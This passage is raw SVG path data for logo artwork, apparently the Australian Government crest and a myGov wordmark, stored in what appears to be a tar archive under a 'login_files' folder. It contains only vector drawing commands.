d="M165.75,52.53a.45.45,0,0,0,.42-.47s-.43-.85-.43-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.19,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.46.46,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,62a.46.46,0,0,0,.43.47A.45.45,0,0,0,159,62a5.17,5.17,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,71.62a.46.46,0,0,0,.43.47.45.45,0,0,0,.43-.47,4.8,4.8,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.25,79.24a.45.45,0,0,0,.42.47.46.46,0,0,0,.44-.47,5,5,0,0,0-.43-.84l-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.31,83.3a.43.43,0,1,0,.86,0,5.12,5.12,0,0,0-.43-.85l-.43.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,71.62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M186.2,79.24a.43.43,0,1,0,.86,0l-.44-.84a5,5,0,0,0-.42.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.14,83.3a.45.45,0,0,0,.43.48.46.46,0,0,0,.43-.48l-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M172.76,87.6a.43.43,0,1,0,.86,0l-.43-.84a5,5,0,0,0-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M179.89,75.35c-.4.83-.4,2-1.35,2.43a.75.75,0,0,0-.28.73l.23.19c.59-.32,1.72-.42,1.64-1.42a3.42,3.42,0,0,1,.86-1.19.94.94,0,0,1,1,.5A1.8,1.8,0,0,1,180.8,78c-.08.09,0,.23,0,.37.18.32.68.18,1,.14.77-.51,1.09-1.42,1.77-1.7.09.46-.91.6-.27,1,.41-.09.95.05,1.23-.5-.32-.78,1.08-1.14.22-1.83,0-.68.73-1,.69-1.69-.28-.74-1.14-.74-1.37-1.42a1,1,0,0,1,.95,0c.09.14.32.18.61.08l.27-.78c0-.05-.31-.36-.51-.31-.77.18-1.59.28-2.05,1a1.53,1.53,0,0,0,.73,1.19c.27-.09.32.18.5.32a.32.32,0,0,1-.32.41c-.54-.55-1.5.18-1.91-.5.19-.69.55-1.47,0-2.11,0-.14.27-.27.14-.41-.23-.64-.92-.14-1.33-.14a1.77,1.77,0,0,0-1.64.82,1.35,1.35,0,0,0,.37.69c.18,0,.27,0,.32.19l-.46.27a.9.9,0,0,1,.18.51c-.31.13-.63-.33-.77-.56s.05-1-.45-1.1a2,2,0,0,0-.4.14,1.32,1.32,0,0,0-.18.76,3.21,3.21,0,0,0,.17.81,7.69,7.69,0,0,1,1.72,1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M151.74,79.12a.8.8,0,1,0,0,1.59.8.8,0,1,0,0-1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104,107.23a.89.89,0,1,0,.89-.85.87.87,0,0,0-.89.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M145.86,122.61l0,.2,2-.23,0-.21c-.32,0-.79,0-.83-.25a4.87,4.87,0,0,1,.31-1.1l2.18-.26a4.48,4.48,0,0,1,.57,1c0,.28-.14.3-.74.41l0,.21,3.15-.37,0-.2c-.47.07-.65-.19-1.19-1l-2.66-4-.27,0-1.64,4.7c-.22.65-.32.94-.84,1.07Zm2.23-4,1.21,1.86-1.89.23.68-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M542,109.18H547v-19a13.49,13.49,0,0,1,3.47-2.93,7.75,7.75,0,0,1,4-1.16,5.33,5.33,0,0,1,4.28,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17q0-5.28-2.42-8t-7-2.72a10.6,10.6,0,0,0-5.35,1.3,14.06,14.06,0,0,0-4.12,3.6l.7,1.46V82.05H542v27.13Zm22.87-19a15.51,15.51,0,0,1,3.64-2.88,8.36,8.36,0,0,1,4.22-1.16,5.26,5.26,0,0,1,4.23,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17c0-3.52-.8-6.19-2.42-8s-4-2.72-7-2.72a11.65,11.65,0,0,0-5.52,1.27,18.28,18.28,0,0,0-4.66,3.63l1,3.77Zm26.43,30.63a9.9,9.9,0,0,0,7-2.59q2.81-2.58,5.06-8.45l11.09-27.72H609l-7.65,20.19-8.61-20.19h-5.6l12.22,27.56.11-3.55-1,2.58a14.29,14.29,0,0,1-3.66,5.79,7.28,7.28,0,0,1-4.79,1.69h-.27l1,4.69Zm54.07-12a31.32,31.32,0,0,0,6.43-2.58V90h-13v4.79h7.64v7.8a18.29,18.29,0,0,1-3.82,1.38,22.55,22.55,0,0,1-5.22.51,14.62,14.62,0,0,1-7.35-1.81,12.63,12.63,0,0,1-5-5.06,15.45,15.45,0,0,1-1.77-7.5A16,16,0,0,1,625,82.54a12.88,12.88,0,0,1,4.74-5.09,12.64,12.64,0,0,1,6.65-1.8,12.24,12.24,0,0,1,6.16,1.48,16.46,16.46,0,0,1,4.66,4l4.3-3.29a18.21,18.21,0,0,0-6.35-5.43,18.56,18.56,0,0,0-8.72-2,19,19,0,0,0-9.58,2.45A17.69,17.69,0,0,0,620,79.82a20.9,20.9,0,0,0-2.5,10.31,20.6,20.6,0,0,0,2.48,10.2,17.43,17.43,0,0,0,7,6.91,21.2,21.2,0,0,0,10.41,2.48,30.08,30.08,0,0,0,7.94-.92Zm35.34-.88a13,13,0,0,0,5.11-5,15.46,15.46,0,0,0,0-14.59,12.94,12.94,0,0,0-5.11-5,16.38,16.38,0,0,0-15,0,13.08,13.08,0,0,0-5.14,5,15.19,15.19,0,0,0,0,14.53,13.11,13.11,0,0,0,5.14,5,16.46,16.46,0,0,0,15,0Zm-12.22-4.12a8.42,8.42,0,0,1-3.28-3.31,10.56,10.56,0,0,1,0-9.74,8.38,8.38,0,0,1,3.28-3.32,10.09,10.09,0,0,1,9.47,0,8.32,8.32,0,0,1,3.26,3.29,10.8,10.8,0,0,1,0,9.74A8.25,8.25,0,0,1,678,103.8a10.15,10.15,0,0,1-9.5,0Zm32.19,5.38h4.52l11.3-27.13h-5.33l-9,22.45h1.62l-8.88-22.45h-5.6l11.36,27.13Z" transform="translate(-23 -22)"/></svg>mygov/app/login_files/myGov-cobranded-logo-white.svg000064400000175214151676702570016626 0ustar00<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 693.47 150.57"><defs><style>.cls-1{fill:#fff;}</style></defs><path class="cls-1" d="M420,22.09a8.76,8.76,0,0,0-8.76,8.76V53.51L455,97.33l-43.82,43.81v22.67A8.75,8.75,0,0,0,426.12,170l72.71-72.69L426.15,24.65a8.75,8.75,0,0,0-6.2-2.56Z" transform="translate(-23 -22)"/><path class="cls-1" d="M382.31,24.63a8.76,8.76,0,0,0-14.93,6.22V163.78a8.76,8.76,0,0,0,15,6.18l28.81-28.82V53.51L382.31,24.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M42.11,167.84,34.5,150.55h-.29l-7.54,16.82a12.72,12.72,0,0,1-1.81,3.19,3.17,3.17,0,0,1-1.86.94v.57h7v-.57a6,6,0,0,1-2.07-.38,1.4,1.4,0,0,1-.71-1.31,4.58,4.58,0,0,1,.43-1.69l.89-2.05H36l1.12,2.63c.29.68.44,1.07.46,1.16a2,2,0,0,1,.1.58.82.82,0,0,1-.35.71,3.13,3.13,0,0,1-1.72.35h-.42v.57h10.2v-.57a2.41,2.41,0,0,1-1.49-.57,10.4,10.4,0,0,1-1.79-3.09Zm-13-2.92,3.24-7.26,3.14,7.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M58.31,168.92V157.53H52.39v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v7.77a6.46,6.46,0,0,1-1.49,1.63,1.79,1.79,0,0,1-1,.3,1.28,1.28,0,0,1-.75-.23,1.38,1.38,0,0,1-.46-.69,8.14,8.14,0,0,1-.15-2v-9.93H44.18v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v5.76a13,13,0,0,0,.33,3.54,3.72,3.72,0,0,0,1.27,1.77,3.49,3.49,0,0,0,2.19.74,4.75,4.75,0,0,0,2.33-.56A7.51,7.51,0,0,0,54,170.13v1.94h5.93v-.56a1.82,1.82,0,0,1-1.27-.51,4.34,4.34,0,0,1-.31-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M67.32,162.68a15.49,15.49,0,0,1-2.78-2.19,1.29,1.29,0,0,1-.31-.81,1.33,1.33,0,0,1,.45-1,1.54,1.54,0,0,1,1.09-.43,3.25,3.25,0,0,1,2,.81,7.72,7.72,0,0,1,2,3h.54l-.24-5h-.53a3.33,3.33,0,0,1-.55.67.92.92,0,0,1-.44.1,1.46,1.46,0,0,1-.69-.23,5,5,0,0,0-2.29-.58,4.23,4.23,0,0,0-3.36,1.37,4.6,4.6,0,0,0-1.14,3,4.38,4.38,0,0,0,1,2.81,16.4,16.4,0,0,0,3.08,2.52,11.42,11.42,0,0,1,2.08,1.65,1.92,1.92,0,0,1,.47,1.29,1.53,1.53,0,0,1-.48,1.12,1.67,1.67,0,0,1-1.22.45,3.69,3.69,0,0,1-2.31-1,6.7,6.7,0,0,1-1.91-3.08h-.53l.25,5.23H62c.23-.52.51-.78.85-.78a2.06,2.06,0,0,1,.64.17,8.65,8.65,0,0,0,2.79.66,5,5,0,0,0,2.44-.63,4.32,4.32,0,0,0,1.71-1.78,5.07,5.07,0,0,0,.6-2.39,4.2,4.2,0,0,0-.73-2.41,11.08,11.08,0,0,0-3-2.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M77.76,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54H73.4v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.68,3.68,0,0,0,2.35.76,4.25,4.25,0,0,0,4.09-3l-.47-.34c-.6,1-1.24,1.54-1.91,1.54a.93.93,0,0,1-.55-.22,1.24,1.24,0,0,1-.41-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H77.76v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M92.94,157.1a3.8,3.8,0,0,0-2.1.74,10.67,10.67,0,0,0-2.53,3v-3.3H82.37v.58a2.36,2.36,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8a4.78,4.78,0,0,1-.35,2.35,1.69,1.69,0,0,1-1.27.51v.56h7.85v-.56a3.48,3.48,0,0,1-1.24-.23,1.36,1.36,0,0,1-.55-.63,3.58,3.58,0,0,1-.11-1.13v-4.21A10.59,10.59,0,0,1,88.8,162a3.22,3.22,0,0,1,1-1.51,1.29,1.29,0,0,1,.86-.34.68.68,0,0,1,.35.09c.07,0,.31.24.72.59a2.11,2.11,0,0,0,1.43.53,1.55,1.55,0,0,0,1.21-.57,2.39,2.39,0,0,0,.52-1.62,2,2,0,0,0-.54-1.51,1.77,1.77,0,0,0-1.38-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M107.85,170.28a.56.56,0,0,1-.36-.12.79.79,0,0,1-.23-.38,6,6,0,0,1-.08-1.26v-5.64a12.51,12.51,0,0,0-.22-3,4,4,0,0,0-1.57-1.9,5.39,5.39,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.5,5.5,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.82,1.82,0,0,0,.66,1.39,2.38,2.38,0,0,0,1.64.58,2.07,2.07,0,0,0,1.48-.52,1.75,1.75,0,0,0,.58-1.31,2,2,0,0,0-.6-1.29,1.34,1.34,0,0,1-.43-.81.77.77,0,0,1,.4-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.61,1.61,0,0,1,.66.75,6.5,6.5,0,0,1,.19,2.07v1.46a26.31,26.31,0,0,0-6.23,3.55,4,4,0,0,0-1.43,3,2.76,2.76,0,0,0,.82,2.05,2.84,2.84,0,0,0,2.07.81q2.1,0,4.77-2.35a2.72,2.72,0,0,0,.86,1.78,3,3,0,0,0,1.94.57,3.49,3.49,0,0,0,1.88-.51,5.94,5.94,0,0,0,1.62-1.68l-.46-.37a1.13,1.13,0,0,1-.83.57Zm-5-1.49a3,3,0,0,1-1.8.87,1.45,1.45,0,0,1-1.09-.42,1.79,1.79,0,0,1-.52-1.26,2.93,2.93,0,0,1,.61-1.7,9,9,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.48,169.05V151h-6.1v.58a1.9,1.9,0,0,1,1.39.5,3.47,3.47,0,0,1,.35,1.94v15.05a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a2,2,0,0,1-1.4-.48,3.53,3.53,0,0,1-.35-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.74,152.9a2.39,2.39,0,0,0,2.39,2.39,2.32,2.32,0,0,0,1.7-.7,2.4,2.4,0,0,0-1.7-4.1,2.25,2.25,0,0,0-1.69.71,2.3,2.3,0,0,0-.7,1.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M124.31,169.05V157.53h-6.1v.58a1.9,1.9,0,0,1,1.39.49,3.44,3.44,0,0,1,.35,2v8.49a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a1.94,1.94,0,0,1-1.39-.48,3.5,3.5,0,0,1-.36-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.55,170.28a.55.55,0,0,1-.35-.12.67.67,0,0,1-.23-.38,5.11,5.11,0,0,1-.09-1.26v-5.64a12.71,12.71,0,0,0-.21-3,4,4,0,0,0-1.57-1.9,5.37,5.37,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.55,5.55,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.81,1.81,0,0,0,.65,1.39,2.41,2.41,0,0,0,1.65.58,2.09,2.09,0,0,0,1.48-.52,1.74,1.74,0,0,0,.57-1.31,2,2,0,0,0-.59-1.29,1.36,1.36,0,0,1-.44-.81.79.79,0,0,1,.41-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.64,1.64,0,0,1,.67.75,7,7,0,0,1,.18,2.07v1.46a26.67,26.67,0,0,0-6.24,3.55,4,4,0,0,0-1.43,3,2.77,2.77,0,0,0,.83,2.05,2.8,2.8,0,0,0,2.07.81c1.4,0,3-.78,4.77-2.35a2.71,2.71,0,0,0,.85,1.78,3,3,0,0,0,1.94.57,3.52,3.52,0,0,0,1.89-.51,5.94,5.94,0,0,0,1.62-1.68l-.47-.37c-.28.38-.55.57-.83.57Zm-5-1.49a3,3,0,0,1-1.81.87,1.42,1.42,0,0,1-1.08-.42,1.74,1.74,0,0,1-.51-1.26,2.91,2.91,0,0,1,.6-1.7,9.17,9.17,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M155.31,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.69,3.69,0,0,0-1.25-1.94,3.47,3.47,0,0,0-2.34-.79,4.46,4.46,0,0,0-2.21.56,8.39,8.39,0,0,0-2.15,1.75v-1.88h-5.92v.58a1.86,1.86,0,0,1,1.26.52,4.18,4.18,0,0,1,.31,2.06v8.21a4.27,4.27,0,0,1-.27,2,1.79,1.79,0,0,1-1.3.59v.56h7.36v-.56a1.58,1.58,0,0,1-1.14-.54,4.38,4.38,0,0,1-.3-2.07v-7.79q1.15-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.29,1.29,0,0,1,.48.71,10,10,0,0,1,.15,2.26v6.47a4.29,4.29,0,0,1-.26,1.92,1.5,1.5,0,0,1-1.17.69v.56h7.35v-.56a1.85,1.85,0,0,1-1.28-.51,4.61,4.61,0,0,1-.29-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M177.74,163.8h.55a2.73,2.73,0,0,1,1.29.29,1.6,1.6,0,0,1,.71.67,4.49,4.49,0,0,1,.17,1.6v4.39a10.9,10.9,0,0,1-1.65.48,8.24,8.24,0,0,1-1.55.16,6.65,6.65,0,0,1-3.8-1.08,6.12,6.12,0,0,1-2.3-3.35,17.83,17.83,0,0,1-.71-5.33,18.58,18.58,0,0,1,.65-4.88,7.24,7.24,0,0,1,2.22-3.7,5.87,5.87,0,0,1,3.94-1.33,7.3,7.3,0,0,1,4.55,1.58,9.37,9.37,0,0,1,3.13,4.64h.58V150.5h-.58a2.87,2.87,0,0,1-.69,1.22,1.24,1.24,0,0,1-.8.31,8.9,8.9,0,0,1-1.82-.58,13.93,13.93,0,0,0-2.21-.71,14.32,14.32,0,0,0-2.83-.25,11.51,11.51,0,0,0-8.41,3.28,10.8,10.8,0,0,0-3.34,8,10.55,10.55,0,0,0,1.08,4.8,10.2,10.2,0,0,0,2.37,3,12.76,12.76,0,0,0,3.5,2.15,13.29,13.29,0,0,0,5,.81,21.59,21.59,0,0,0,4.52-.47,20.56,20.56,0,0,0,4.22-1.35v-4.39a4.57,4.57,0,0,1,.14-1.45,1.56,1.56,0,0,1,.7-.79,4.44,4.44,0,0,1,1.63-.32v-.58H177.74v.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M199.14,158.07a6.78,6.78,0,0,0-3.53-1,5.93,5.93,0,0,0-5,2.33,8.55,8.55,0,0,0-1.81,5.44,8.44,8.44,0,0,0,1.78,5.33,6,6,0,0,0,5,2.3A6.23,6.23,0,0,0,200.9,170a8.41,8.41,0,0,0,1.57-5.18,9.18,9.18,0,0,0-.86-4,6.25,6.25,0,0,0-2.47-2.78Zm-1.56,11.49a2.58,2.58,0,0,1-.8,1.48,1.76,1.76,0,0,1-1.17.39,1.7,1.7,0,0,1-1.27-.58,3,3,0,0,1-.74-1.68,21.43,21.43,0,0,1-.22-3.1c0-2.1.06-3.73.18-4.9a4.12,4.12,0,0,1,.75-2.36,1.8,1.8,0,0,1,1.36-.61,1.62,1.62,0,0,1,1.06.33,2.71,2.71,0,0,1,.87,1.44,14.56,14.56,0,0,1,.3,3.63,34.05,34.05,0,0,1-.32,6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.34,157.53h-4.76v.58a2,2,0,0,1,1.22.33,1,1,0,0,1,.36.78,9.38,9.38,0,0,1-.82,2.87l-1.91,4.71-2.4-5.46a7.13,7.13,0,0,1-.68-2.16,1.06,1.06,0,0,1,.37-.81,1.45,1.45,0,0,1,1-.26v-.58H202v.58a1.79,1.79,0,0,1,1,.54,10.58,10.58,0,0,1,1.39,2.58l4.9,11.28h.73l4.85-11.42a9.4,9.4,0,0,1,1.31-2.47,1.91,1.91,0,0,1,1.12-.51v-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227,158.91a5,5,0,0,0-3.83-1.81,6.09,6.09,0,0,0-4.62,2.16,8.26,8.26,0,0,0-2,5.78,8.81,8.81,0,0,0,1.34,5,5.52,5.52,0,0,0,4.9,2.48,5.65,5.65,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.75-5.37Zm-6.3,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.31,1.31,0,0,1,.87.27,2.81,2.81,0,0,1,.84,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240.3,157.1a3.75,3.75,0,0,0-2.09.74,10.5,10.5,0,0,0-2.54,3v-3.3h-5.94v.58a2.28,2.28,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8A4.82,4.82,0,0,1,231,171a1.7,1.7,0,0,1-1.28.51v.56h7.86v-.56a3.49,3.49,0,0,1-1.25-.23,1.29,1.29,0,0,1-.54-.63,3.58,3.58,0,0,1-.11-1.13l0-.87v-3.34a10.58,10.58,0,0,1,.5-3.33,3.15,3.15,0,0,1,1-1.51,1.28,1.28,0,0,1,.85-.34.74.74,0,0,1,.36.09,8.94,8.94,0,0,1,.71.59,2.13,2.13,0,0,0,1.43.53,1.57,1.57,0,0,0,1.22-.57,2.44,2.44,0,0,0,.51-1.62,2,2,0,0,0-.53-1.51,1.79,1.79,0,0,0-1.39-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M257.27,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.67,3.67,0,0,0-1.24-1.94,3.5,3.5,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.37,8.37,0,0,0-2.14,1.75v-1.88h-5.93v.58a1.83,1.83,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.82,1.82,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.57,4.57,0,0,1-.29-2.07v-7.79q1.15-1.92,2.49-1.92a1.14,1.14,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.82,1.82,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M283,168.9v-6a12,12,0,0,0-.35-3.39,3.54,3.54,0,0,0-1.24-1.75,3.78,3.78,0,0,0-2.4-.7,4.94,4.94,0,0,0-2.4.62,9.2,9.2,0,0,0-2.38,2,3.74,3.74,0,0,0-3.81-2.64,4.74,4.74,0,0,0-2.24.53,8,8,0,0,0-2.2,1.81v-1.91H260v.58a1.81,1.81,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v8.21a4.33,4.33,0,0,1-.26,2,1.82,1.82,0,0,1-1.31.59v.56h7.5v-.56a1.62,1.62,0,0,1-1.28-.58,4.53,4.53,0,0,1-.29-2v-7.81a6,6,0,0,1,1.56-1.65,2.08,2.08,0,0,1,1.13-.33,1.21,1.21,0,0,1,.77.29,1.43,1.43,0,0,1,.53.77,10.93,10.93,0,0,1,.16,2.48v6.25a6.37,6.37,0,0,1-.13,1.66,1.27,1.27,0,0,1-.46.65,1.65,1.65,0,0,1-.95.3v.56h7.53v-.56a1.61,1.61,0,0,1-1.37-.64,4.36,4.36,0,0,1-.27-2v-7.81a6.14,6.14,0,0,1,1.39-1.46,2.28,2.28,0,0,1,1.35-.5,1.19,1.19,0,0,1,.78.27,1.4,1.4,0,0,1,.49.77,11.17,11.17,0,0,1,.16,2.48v6.25a4,4,0,0,1-.28,1.92,1.66,1.66,0,0,1-1.31.69v.56h7.51v-.56a1.86,1.86,0,0,1-1.27-.53,4.29,4.29,0,0,1-.3-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M295.7,158.91a4.94,4.94,0,0,0-3.82-1.81,6.09,6.09,0,0,0-4.62,2.16,8.21,8.21,0,0,0-1.95,5.78,8.81,8.81,0,0,0,1.33,5,5.51,5.51,0,0,0,4.9,2.48,5.69,5.69,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.76-5.37Zm-6.29,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.28,1.28,0,0,1,.86.27,2.82,2.82,0,0,1,.85,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M312.14,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.73,3.73,0,0,0-1.24-1.94,3.48,3.48,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.2,8.2,0,0,0-2.14,1.75v-1.88H298v.58a1.81,1.81,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.8,1.8,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.42,4.42,0,0,1-.29-2.07v-7.79q1.14-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.8,1.8,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M319.9,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54h1.89v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.66,3.66,0,0,0,2.35.76,4.26,4.26,0,0,0,4.09-3l-.46-.34c-.61,1-1.24,1.54-1.92,1.54a.88.88,0,0,1-.54-.22,1.19,1.19,0,0,1-.42-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H319.9v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M148,113.37l-.4.4a1,1,0,0,0,.4-.4Z" transform="translate(-23 -22)"/><path class="cls-1" d="M152.35,84.13a.76.76,0,1,0-.76.77.77.77,0,0,0,.76-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.43,52.72h0l0,22.16c0,2.14.9,4,2.15,4.58l10.55,6.3a1.26,1.26,0,0,0,1.82.1l10.71-6.4c1.26-.57,2.16-2.44,2.16-4.58l0-22.16H159.43Zm4.51,2.14.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.09v.47l-.4-.3-.41.3v-.47l-.43-.09.34-.35-.21-.39Zm-.12,5c.8,0,.57.77.71.77s0-.77.52-.77c.79,0,1.78,2,.88,2-.38,0-.07-.28-.08-.34s-.21-.18-.29-.18c-.26,0-.36.42-.58.44s-.26,0-.26-.18.32-.25.45-.37c-1.79,0-1.82.81-2.09.81-.47,0,.39-.86.63-1.11-.36-.06-.57-.5-1-.72.18-.27.29-.16.52,0,0-.19.14-.4.55-.4Zm0,6.75.34-.35-.21-.39.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.08v.48l-.4-.3-.41.3v-.48l-.43-.08Zm-3.6-13.13h2.89v5.68h-2.89V53.47Zm.35,7.65.34-.35-.21-.38.44,0,.26-.47.27.46.45,0-.22.38.34.35-.43.09v.48l-.41-.31-.4.31v-.48l-.43-.09Zm-.35,1.68h2.89v5.38h-2.89V62.8Zm8.34,19.94L162,78.82a4.7,4.7,0,0,1-1.78-3.65V68.93h8.34V82.74Zm0-14.56h-2.37V62.8h2.37v5.38ZM167,60.39l.44,0,.27-.47.26.46.45,0-.21.38.34.35-.44.09v.48l-.4-.31-.41.31v-.48l-.43-.09.34-.35-.21-.38Zm1.59-1.24h-2.37V53.47h2.37v5.68Zm8.46,24L174,85h-.05a1.24,1.24,0,0,1-.8.29,1.27,1.27,0,0,1-.8-.3l-3-1.8V68.93H177V83.19Zm0-15H169.3V53.47H177V68.18Zm9.09,7a4.66,4.66,0,0,1-1.78,3.65l-6.57,3.92V68.93h8.35v6.24Zm0-7h-8.35V53.47h8.35V68.18Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,72.67c0,.11.07.25.25.34-.08.08-.15.27-.15.78,0,1.76,1.1,2.57,1.9,2.57.58,0,.49-.4.55-.6,0,.3.31-.14.31.38s-.55.3-.55.77c0,.62.88,0,.88.66a8,8,0,0,1-.11,1.15c0,.22.92-.31.86-.41.23.09.21.74.62.72s.33-.67.54-.72c-.13,0,.82.62.82.32,0-.81-.33-.47-.33-1s1.13-.41,1-.68-.26-.08-.37-.47c0,.07-.9-1.3.18-.59s1.26-1.72,1.2-1.85-.53.13-.73.24a3.22,3.22,0,0,1,.81-1.06c-.05-.35-.5,0-1,.21,1.56-2.23.56-1.32-.31-1.16,1.4-1.5,1-1.47,0-1,.81-.64,1-1.4.86-1.62-.76,1-1.46.85-1.46,1.79a3.74,3.74,0,0,1-.54,2c-.4.44-.09-1.65-1.16-1.65-.35,0-1.15,0-1.4.38.22,0,.54.56.54.78s.21.83-.15.83-.79-.77-.79-1.14,0-.28,0-.8a3,3,0,0,0-2-2.14c0,.62.8.76.8,1.55-.34,0-.83-.64-.83-.24s.51.47.51.81-.58-.12-.58.25.32.27.4.59c-.24-.07-.45,0-.5.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M197.38,79.81a.8.8,0,1,0-.9-.8.85.85,0,0,0,.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.83,81.18a.91.91,0,1,0,.9-.8.85.85,0,0,0-.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" 